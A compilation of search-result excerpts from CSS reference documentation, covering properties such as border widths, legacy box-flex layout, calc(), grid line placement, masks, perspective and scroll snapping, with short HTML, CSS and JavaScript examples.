...it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas each of the properties of the shorthand:border-bottom-left-radius: two absolute <length>s or <percentage>sborder-bottom-right-radius: two absolute <length>s or <percentage>sborder-top-left-radius: two absolute <length>s or <percentage>sborder-top-right-radius: two absolute <length>s or <percentage>sanimation typeas each of the properties of the shorthand:border-top-left-radius: a length, percentage or calc();border-top-right-radius: a length, percentage or calc();border-bottom-right-radius: a length, percentage or calc();border-bottom-left-radius: a length, percentage or calc(); formal syntax <l...
border-right-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
...it also applies to ::first-letter.inheritednocomputed valuethe absolute length or 0 if border-right-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-width' in that specification.
... candidate recommendation no significant change.
... recommendation no significant change.
border-style - CSS: Cascading Style Sheets
each value is a keyword chosen from the list below.
... formal definition initial valueas each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: noneapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas each of the properties of the shorthand:border-bottom-style: as specifiedborder-left-style: as specifiedborder-right-style: as specifiedborder-top-style: as specifiedanimation typediscrete formal syntax <line-style>{1,4}where <line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset examples table with all property values here is an example of all the property values.
... candidate recommendation no change.
border-top-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
...it also applies to ::first-letter.inheritednocomputed valuethe absolute length or 0 if border-top-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-top-width: thick; } div:nth-child(2) { border-top-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-width' in that specification.
... candidate recommendation no significant change.
... recommendation no significant change.
border-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
... formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenanimation typeas each of the properties of the shorthand:border-bottom-width: a lengthborder-left-width: a lengthborder-right-width: a lengthborder-top-width: a length formal syntax <line-width>{1,4}where <line-width> = <length> | thin | medium | thick examples a mix of values and lengths html <p id="sval"> one value: 6px wide border on all 4 sides</p> <p...
... candidate recommendation no direct change; the <length> css data type extension has an effect on this property.
box-flex - CSS: Cascading Style Sheets
WebCSSbox-flex
it does not match either the old css flexible box layout module drafts for 'box-flex' (which were based on this property) or the behavior of '-webkit-box-flex' (which is based on those drafts).
... notes the containing box allocates the available extra space in proportion to the flex value of each of the content elements.
... formal definition initial value0applies toelements that are direct children of an element with a css display value of -moz-box or -moz-inline-box or -webkit-box or -webkit-inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax <number> examples setting box-flex <!doctype html> <html> <head> <title>-moz-box-flex example</title> <style> div.example { display: -moz-box; display: -webkit-box; bor...
...der: 1px solid black; width: 100%; } div.example > p:nth-child(1) { -moz-box-flex: 1; /* mozilla */ -webkit-box-flex: 1; /* webkit */ border: 1px solid black; } div.example > p:nth-child(2) { -moz-box-flex: 0; /* mozilla */ -webkit-box-flex: 0; /* webkit */ border: 1px solid black; } </style> </head> <body> <div class="example"> <p>i will expand to fill extra space</p> <p>i will not expand</p> </div> </body> </html> specifications not part of any standard.
box-ordinal-group - CSS: Cascading Style Sheets
the box-ordinal-group css property assigns the flexbox's child elements to an ordinal group.
... /* <integer> values */ box-ordinal-group: 1; box-ordinal-group: 5; /* global values */ box-ordinal-group: inherit; box-ordinal-group: initial; box-ordinal-group: unset; ordinal groups may be used in conjunction with the box-direction property to control the order in which the direct children of a box appear.
... formal definition initial value1applies tochildren of box elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <integer> examples basic usage example in an older version of the spec, box-ordinal-group was included to allow you to change the display order of flex children inside a flex container: article:nth-child(1) { -webkit-box-ordinal-group: 2 -moz-box-ordinal-group: 2 box-ordinal-group: 2 } arti...
...cle:nth-child(2) { -webkit-box-ordinal-group: 1 -moz-box-ordinal-group: 1 box-ordinal-group: 1 } the modern flexbox equivalent is order.
box-orient - CSS: Cascading Style Sheets
inline-axis (html) the box displays its children along the inline axis.
... block-axis (html) the box displays its children along the block axis.
... the inline and block axes are the writing-mode dependent keywords which, in english, map to horizontal and vertical respectively.
... html <div class="example"> <p>i will be to the left of my sibling.</p> <p>i will be to the right of my sibling.</p> </div> css div.example { display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ display: box; /* as specified */ /* children should be oriented vertically */ -moz-box-orient: horizontal; /* mozilla */ -webkit-box-orient: horizontal; /* webkit */ box-orient: horizontal; /* as specified */ } result specifications not part of any standard.
box-pack - CSS: Cascading Style Sheets
WebCSSbox-pack
justify the space is divided evenly in-between each child, with none of the extra space placed before the first child or after the last child.
... if there is only one child, treat the value as if it were start.
...efinition initial valuestartapplies toelements with a css display value of -moz-box, -moz-inline-box, -webkit-box or -webkit-inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax start | center | end | justify examples div.example { border-style: solid; display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ /* make this box taller than the children, so there is room for the box-pack */ height: 300px; /* make this box wide enough to show the contents are centered horizontally */ width: 300px; /* children should be oriented vertically */ -moz-box-orient: vertical; /* mozilla */ -webkit-box-orient: vertical; /* webkit */ /* align children to the horizontal center of this box */ -moz-box-align: center; /* mozil...
...la */ -webkit-box-align: center; /* webkit */ /* pack children to the bottom of this box */ -moz-box-pack: end; /* mozilla */ -webkit-box-pack: end; /* webkit */ } div.example p { /* make children narrower than their parent, so there is room for the box-align */ width: 200px; } <div class="example"> <p>i will be second from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> specifications not part of any standard.
box-shadow - CSS: Cascading Style Sheets
the presence of the inset keyword changes the shadow to one inside the frame (as if the content was depressed inside the box).
... interpolation each shadow in the list (treating none as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components.
... for each shadow, if both input shadows are or are not inset, then the interpolated shadow must match the input shadows in that regard.
...if the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is transparent, all lengths are 0, and whose inset (or not) matches the longer list.
box-sizing - CSS: Cascading Style Sheets
this typically makes it much easier to size elements.
...this makes dealing with the sizes of elements much easier, and generally eliminates a number of pitfalls you can stumble on while laying out your content.
... on the other hand, when using position: relative or position: absolute, use of box-sizing: content-box allows the positioning values to be relative to the content, and independent of changes to border and padding sizes, which is sometimes desirable.
... syntax the box-sizing property is specified as a single keyword chosen from the list of values below.
calc() - CSS: Cascading Style Sheets
WebCSScalc
you can use different units for each value in your expression, if you wish.
... it is permitted to nest calc() functions, in which case the inner ones are treated as simple parentheses.
... note: the chrome browser currently won’t accept some values returned by calc() when an integer is expected.
...in this example, the css creates a banner that stretches across the window, with a 40-pixel gap between both sides of the banner and the edges of the window: .banner { position: absolute; left: 40px; width: calc(100% - 80px); border: solid black 1px; box-shadow: 1px 2px; background-color: yellow; padding: 6px; text-align: center; box-sizing: border-box; } <div class="banner">this is a banner!</div> automatically sizing form fields to fit their container another use case for calc() is to help ensure that form fields fit in the available spa...
color - CSS: Cascading Style Sheets
WebCSScolor
currentcolor may be used as an indirect value on other properties and is the default for other color properties, such as border-color.
...it can't be a <gradient>, which is actually a type of <image>.
...in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuevaries from one browser to anotherapplies toall elements.
column-span - CSS: Cascading Style Sheets
</p> <p>this is a bunch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bunch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bunch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bunch of text split into three columns using the css `columns` property.
contain - CSS: Cascading Style Sheets
WebCSScontain
the contain css property allows an author to indicate that an element and its contents are, as much as possible, independent of the rest of the document tree.
... this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent each widget's internals from having side effects outside of the widget's bounding-box.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | strict | content | [ size | layout | style | paint ] examples simple layout the markup below consists of a number of articles, each with content: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> each <article> and <img> is given a border, and the images are floated: img { float: left; border: 3px solid black; } article { border: 1px soli...
...alt="social"> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; } as you can see, because of the way floats work, the first image ends up inside the area of the second article: fixing with contain if we give each article the contain property with a value of content, when new elements are inserted the browser understands it only needs to recalculate the containing element's subtree, and not anything outside it: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </article> <article> <h2>another heading of another article...
counter-reset - CSS: Cascading Style Sheets
you may specify as many counters to reset as you want, with each name or name-number pair separated by a space.
... <integer> the value to reset the counter to on each occurrence of the element.
...]+ | none examples resetting named counters h1 { counter-reset: chapter section 1 page; /* sets the chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-reset' in that specification.
... working draft no change.
counter() - CSS: Cascading Style Sheets
WebCSScounter
/* simple usage */ counter(countername); /* changing the counter display */ counter(countername, upper-roman) a counter has no visible effect by itself.
... check the browser compatibility table carefully before using this in production.
... syntax values <custom-ident> a name identifying the counter, which is the same case-sensitive name used for the counter-reset and counter-increment.
... working draft no change css level 2 (revision 1)the definition of 'css counters' in that specification.
direction - CSS: Cascading Style Sheets
WebCSSdirection
the direction and unicode-bidi properties are the two only properties which are not affected by the all shorthand property.
... proposed recommendation no change.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectionchrome full support 2edge full support 12firefox full support 1ie full support 5.5opera full support 9.2safari full support 1webview android full support 1chrome android full support 18firefox android full support 4opera android ...
<display-box> - CSS: Cascading Style Sheets
they are replaced by their pseudo-box and their child boxes.
... please note that the css display level 3 spec defines how the contents value should affect "unusual elements" — elements that aren’t rendered purely by css box concepts such as replaced elements.
...this will cause the element — and in some browser versions, its descendant elements — to no longer be announced by screen reading technology.
...however it also has display: contents specified therefore this <div> will not be rendered, the border and width will no longer apply, and the child element will be displayed as if the parent had never existed.
grid-column-end - CSS: Cascading Style Sheets
<custom-ident> if there is a named line with the name '<custom-ident>-end', it contributes the first such line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-column-end: foo; will choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement such that the column end edge of the grid item’s grid area is n lines from the start edge.
...if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.
grid-column-start - CSS: Cascading Style Sheets
<custom-ident> if there is a named line with the name <custom-ident>-start, it contributes the first such line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-column-start: foo; will choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement, such that the column start edge of the grid item’s grid area is n lines from the end edge.
...if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.
grid-row-end - CSS: Cascading Style Sheets
<custom-ident> if there is a named line with the name '<custom-ident>-end', it contributes the first such line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-row-end: foo; will choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement such that the row end edge of the grid item’s grid area is n lines from the start edge.
...if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.
grid-row-start - CSS: Cascading Style Sheets
<custom-ident> if there is a named line with the name '<custom-ident>-start', it contributes the first such line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-row-start: foo; will choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement; such that the row start edge of the grid item’s grid area is n lines from the end edge.
...if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid, corresponding to the search direction, are assumed to have that name for the purpose of counting this span.
image-orientation - CSS: Cascading Style Sheets
description this property is intended only to be used for the purpose of correcting the orientation of images which were shot with the camera rotated.
...this includes any user-directed changes to the orientation of the image, or changes required for printing in portrait versus landscape orientation.
... if used in conjunction with other css properties, such as a <transform-function>, any image-orientation rotation is applied before any other transformations.
...flip ] examples orienting image from image data css #image { image-orientation: from-image; /* can be changed in the live sample */ } html <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="orientation taken from the image"> <select id="imageorientation"> <option value="from-image">from-image</option> <option value="none">none</option> </select> javascript var imageorientation = document.getelementbyid("imageorientation"); imageorientation.addeventlistener("change", function (ev...
inherit - CSS: Cascading Style Sheets
WebCSSinherit
the inherit css keyword causes the element for which it is specified to take the computed value of the property from its parent element.
...for example, if one of them were the child of a div matched by the rule ...
... candidate recommendation no changes from level 3.
... candidate recommendation no significant change from css level 2 (revision 1).
Inheritance - CSS: Cascading Style Sheets
css properties can be categorized in two types: inherited properties, which by default are set to the computed value of the parent element non-inherited properties, which by default are set to initial value of the property refer to any css property definition to see whether a specific property inherits by default ("inherited: yes") or not ("inherited: no").
...it does not get the initial value of the property (which is the color that is used for the root element when the page specifies no color).
... you can control inheritance for all properties at once using the all shorthand property, which applies its value to all properties.
... for example: font { all: revert; font-size: 200%; font-weight: bold; } this reverts the style of the font property to the user agent's default unless a user stylesheet exists, in which case that is used instead.
initial - CSS: Cascading Style Sheets
WebCSSinitial
this includes the css shorthand all, with which initial can be used to restore all css properties to their initial state.
... candidate recommendation no changes from level 3.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitialchrome full support 1edge full support 13firefox full support 19 full support 19 no support 1 — 24prefixed prefixed implemented with the vendor prefix: -moz-ie no support noopera full support 15safari full support 1.2webview android full support 1ch...
left - CSS: Cascading Style Sheets
WebCSSleft
inherit specifies that the value is the same as the computed value from its parent element (which might not be its containing block).
...(the containing block is the ancestor to which the element is relatively positioned.) when position is set to relative, the left property specifies the distance the element's left edge is moved to the right from its normal position.
... when both left and right are defined, and width constraints don't prevent it, the element will stretch to satisfy both.
... if the element cannot stretch to satisfy both, the position of the element is overspecified.
margin-trim - CSS: Cascading Style Sheets
the margin-trim property allows the container to trim the margins of its children where they adjoin the container’s edges.
... it also truncates any margins collapsed with such a margin.
...it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax none | in-flow | all examples basic usage once support is implemented for this property, it will probably work like so: when you've got a container with some inline children and you want to put a margin between each child but not have it interfere with the spacing at the end of the row, you might do something like this: article { background-color: red; margin: 20px; padding: 20px; display: inline-block; } article > span { background-color: black; color: white; text-align: center; padding: 10px; margin-right: 20px; } the problem here is that...
... you'd end up with 20px too much spacing at the right of the row, so you'd maybe do this to fix it: span:last-child { margin-right: 0; } it is a pain having to write another rule to achieve this, and it is also not very flexible.
mask-border - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:mask-border-mode: alphamask-border-outset: 0mask-border-repeat: stretchmask-border-slice: 0mask-border-source: nonemask-border-width: autoapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shorthand:mask-border-slice: refer to size of the mask...
... border imagemask-border-width: relative to width/height of the mask border image areacomputed valueas each of the properties of the shorthand:mask-border-mode: as specifiedmask-border-outset: as specified, but with relative lengths converted into absolute lengthsmask-border-repeat: as specifiedmask-border-slice: as specifiedmask-border-source: as specified, but with <url> values made absolutemask-border-width: as specified, but with relative lengths converted into absolute lengthsanimation typeas each of the properties of the shorthand:mask-border-mode: discretemask-border-outset: discretemask-border-repeat: discretemask-border-slice: discretemask-border-source: discretemask-border-width: discretecreates stacking contextyes formal syntax <'mask-border-source'> | <'mask-border-slice'> [ / ...
...pretty neat, isn't it?</div> css to match the size of a single diamond, we will use a value of 90 divided by 3, or 30, for slicing the image into corner and edge regions.
... div { width: 200px; background-color: lavender; border: 18px solid salmon; padding: 10px; /* prefixed longhand properties currently supported in chromium -webkit-mask-box-image-source: url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; */ /* prefixed shorthand property currently supported in chromium */ -webkit-mask-box-image: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ r...
mask-position - CSS: Cascading Style Sheets
the mask-position css property sets the initial position, relative to the mask position layer set by mask-origin, for each defined mask image.
... formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for background-position)computed valueconsists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
...entage> ] ]where <length-percentage> = <length> | <percentage> examples setting mask position css #wrapper { border: 1px solid black; width: 250px; height: 250px; } #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: no-repeat; mask-position: top right; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="wrapper"> <div id="masked"> </div> </div> <select id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</option> <option value="top right" selected>top right</option> <option value="center center">center center</option> <option value="bottom left...
...">bottom left</option> <option value="10px 20px">10px 20px</option> <option value="60% 20%">60% 20%</option> </select> javascript var maskposition = document.getelementbyid("maskposition"); maskposition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskposition = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-position' in that specification.
offset - CSS: Cascading Style Sheets
WebCSSoffset
constituent properties this property is a shorthand for the following css properties: offset-anchor offset-distance offset-path offset-position offset-rotate syntax /* offset position */ offset: auto; offset: 10px 30px; offset: none; /* offset path */ offset: ray(45deg closest-side); offset: path('m 100 100 l 300 100 l 200 300 z'); offset: url(arc.svg); /* offset path with distance and/or rotation */ offset: url(circle.svg) 100px; offset: url(circle.svg) 40%; offset: url(circle.svg) 30deg; offset: url(circle.svg) 50px 20deg; /* including offset anchor */ offset: ray(45deg closest-side) / 40px 20px; o...
...ffset: url(arc.svg) 2cm / 0.5cm 3cm; offset: url(arc.svg) 30deg / 50px 100px; formal definition initial valueas each of the properties of the shorthand:offset-position: autooffset-path: noneoffset-distance: 0offset-anchor: autooffset-rotate: autoapplies totransformable elementsinheritednopercentagesas each of the properties of the shorthand:offset-position: refertosizeofcontainingblockoffset-distance: refer to the total path lengthoffset-anchor: relativetowidthandheightcomputed valueas each of the properties of the shorthand:offset-position: for <length> the absolute value, otherwise a percentageoffset-path: as specifiedoffset-distance: for <length> the absolute value, otherwise a percentageoffset-anchor: for <length> the absolute value, otherwise a percentageoffset-rotate: as specifiedan...
...imation typeas each of the properties of the shorthand:offset-position: a positionoffset-path: as <angle>, <basic-shape> or <path()>offset-distance: a length, percentage or calc();offset-anchor: a positionoffset-rotate: as <angle>, <basic-shape> or <path()>creates stacking contextyes formal syntax [ <'offset-position'>?
...[ / <'offset-anchor'> ]?
outline - CSS: Cascading Style Sheets
WebCSSoutline
a notable exception is input elements, which are given default styling by browsers.
... how to design useful and usable focus indicators wcag 2.1: understanding success criterion 2.4.7: focus visible formal definition initial valueas each of the properties of the shorthand:outline-color: invert, for browsers supporting it, currentcolor for the otheroutline-style: noneoutline-width: mediumapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:outline-color: for the keyword invert, the computed value is invert.
...the transparent keyword maps to rgba(0,0,0,0).outline-width: an absolute length; if the keyword none is specified, the computed value is 0outline-style: as specifiedanimation typeas each of the properties of the shorthand:outline-color: a coloroutline-width: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offs...
... recommendation no change.
overscroll-behavior-y - CSS: Cascading Style Sheets
the overscroll-behavior-y css property sets the browser's behavior when the vertical boundary of a scrolling area is reached.
...oll-behavior-y: contain; overscroll-behavior-y: none; /* global values */ overscroll-behavior-y: inherit; overscroll-behavior-y: initial; overscroll-behavior-y: unset; initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax the overscroll-behavior-y property is specified as a keyword chosen from the list of values below.
..."bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
... none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.
perspective-origin - CSS: Cascading Style Sheets
the perspective-origin css property determines the position at which the viewer is looking.
... the perspective-origin and perspective properties are attached to the parent of a child transformed in 3-dimensional space, unlike the perspective() transform function which is placed on the element being transformed.
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples changing the perspective origin this example shows cubes with popular perspective-origin values.
...; height: 100px; margin: 24px; border: none; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective: 300px; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .to...
perspective - CSS: Cascading Style Sheets
description each 3d element with z>0 becomes larger; each 3d-element with z<0 becomes smaller.
... the vanishing point is by default placed at the center of the element, but its position can be changed using the perspective-origin property.
...it also includes classes for the container box and the cube itself, as well as each of its faces.
... margin: 75px 0 0 75px; border: none; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } ...
<position> - CSS: Cascading Style Sheets
it is used in the background-position and offset-anchor properties.
...each keyword represents either an edge of the element's box or the center line between two edges.
...positive values are offset towards the right or the bottom, whichever is appropriate.
... /* 1-value syntax */ keyword /* either the horizontal or vertical position; the other axis defaults to center */ value /* the position on the x-axis; the y-axis defaults to 50% */ /* 2-value syntax */ keyword keyword /* a keyword for each direction (the order is irrelevant) */ keyword value /* a keyword for horizontal position, value for vertical position */ value keyword /* a value for horizontal position, keyword for vertical position */ value value /* a value for each direction (horizontal then vertical) */ /* 4-value syntax */ keyword value keyword value /* each value is an offset from the k...
revert - CSS: Cascading Style Sheets
WebCSSrevert
the revert css keyword reverts the cascaded value of the property from its current value to the value the property would have had if no changes had been made by the current style origin to the current element.
... this removes from the cascade all of the styles that have been overridden until the style being rolled back to is reached.
... revert will not affect rules applied to children of an element you reset (but will remove effects of a parent rule on a child).
... the revert keyword is different from and should not be confused with initial, which uses the initial value defined on a per-property basis by the css specifications.
scroll-margin-inline-end - CSS: Cascading Style Sheets
the aim here is to create four horizontally-scrolling blocks, the second and third of which snap into place, near but not quite at the right of each block.
...the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, which makes sure the contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin-inline-end: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline-end: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2rems outside the inline end edge of the third <div>.
scroll-margin-inline-start - CSS: Cascading Style Sheets
the aim here is to create four horizontally-scrolling blocks, the second and third of which snap into place, near but not quite at the left of each block.
...the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, which makes sure the contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin-values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin-inline-start: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline-start: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline start edge of the second <div>, and 2rems outside the inline start edge of the third <div>.
scroll-margin-inline - CSS: Cascading Style Sheets
the aim here is to create four horizontally-scrolling blocks, the second and third of which snap into place, near but not quite at the right of each block.
...the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, which makes sure the contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin-inline: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2rems outside the inline end edge of the third <div>.
scroll-snap-coordinate - CSS: Cascading Style Sheets
the scroll-snap-coordinate css property defines the x and y coordinate positions within an element that will align with its nearest ancestor scroll container's scroll-snap-destination for each respective axis.
...for each pairing, the first value gives the x coordinate of the snap coordinate, the second value its y coordinate.
